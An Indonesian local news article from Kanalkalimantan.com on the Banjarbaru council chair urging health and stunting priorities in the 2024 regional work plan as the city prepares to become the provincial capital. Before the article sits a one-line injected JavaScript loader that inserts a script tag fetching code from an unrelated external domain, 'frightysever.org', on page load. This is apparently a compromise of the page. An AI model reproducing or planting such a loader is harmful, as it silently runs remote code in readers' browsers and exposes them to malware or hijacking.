(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Songsong Ibu Kota, Ketua DPRD Banjarbaru Minta Prioritas Kesehatan di RKPD 2024

KANALKALIMANTAN.COM, BANJARBARU – Ketua DPRD Banjarbaru Fadliansyah meminta Pemko Banjarbaru memprioritaskan bidang kesehatan dan meningkatkan fasilitas kesehatan dalam Rencana Kerja Pemerintah Daerah (RKPD) 2024.

“Penanganan masalah kesehatan termasuk fasilitas yang menjadi pendukung harus ditingkatkan,” ujar Fadliansyah, Selasa (14/3/2023), setelah mengikuti forum gabungan perangkat daerah.

Forum dihadiri Wali Kota M Aditya Mufti Ariffin diikuti Sekretaris Daerah Said Abdullah dan pimpinan SKPD lingkup Pemko Banjarbaru, dan perwakilan masyarakat membahas penyusunan RKPD 2024.

Menurut Fadliansyah, permasalahan kesehatan yang menjadi perhatian jajaran dinas dan instansi Pemko seperti penanganan stunting yang dapat menggangu tumbuh kembang anak.

“Penanganan stunting harus mendapat perhatian utama karena berdampak terhadap tumbuh kembang anak,” ungkapnya.

Salah satu solusi yang bisa dilakukan untuk mencegah dan menurunkan angka stunting yakni melengkapi dan lebih meningkatkan fasilitas kesehatan.

“Fasilitas kesehatan perlu dilengkapi seperti peralatan di Posyandu yang bisa dikoordinasikan dengan para petugas Puskesmas,” ujar Fadli.

Ditambahkan, keberadaan posyandu sangat penting karena bisa menjadi sarana pendeteksi dini munculnya stunting melalui informasi dari kader dan masyarakat sehingga masalah itu bisa segera ditangani.

Forum gabungan perangkat daerah dalam rangka penyusunan RKPD 2024 telah menyiapkan strategi menyongsong Banjarbaru sebagai ibu kota Provinsi Kalimantan Selatan.

“Perencanaan yang dimuat dalam RKPD 2024 tentunya berisi strategi menyongsong status Banjarbaru sebagai ibu kota provinsi yang penuh potensi dan tantangan,” ujar Wali Kota Banjarbaru Aditya pada forum tersebut.

Potensi yang dipastikan terjadi adalah peningkatan jumlah penduduk disebabkan perpindahan secara masif ke Banjarbaru memungkinkan terjadi peningkatan kemiskinan dan pengangguran.

“Memungkinkan terciptanya kawasan kumuh baru, termasuk kemacetan di sejumlah kawasan sehingga harus disiapkan strategi agar semua teratasi,” katanya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk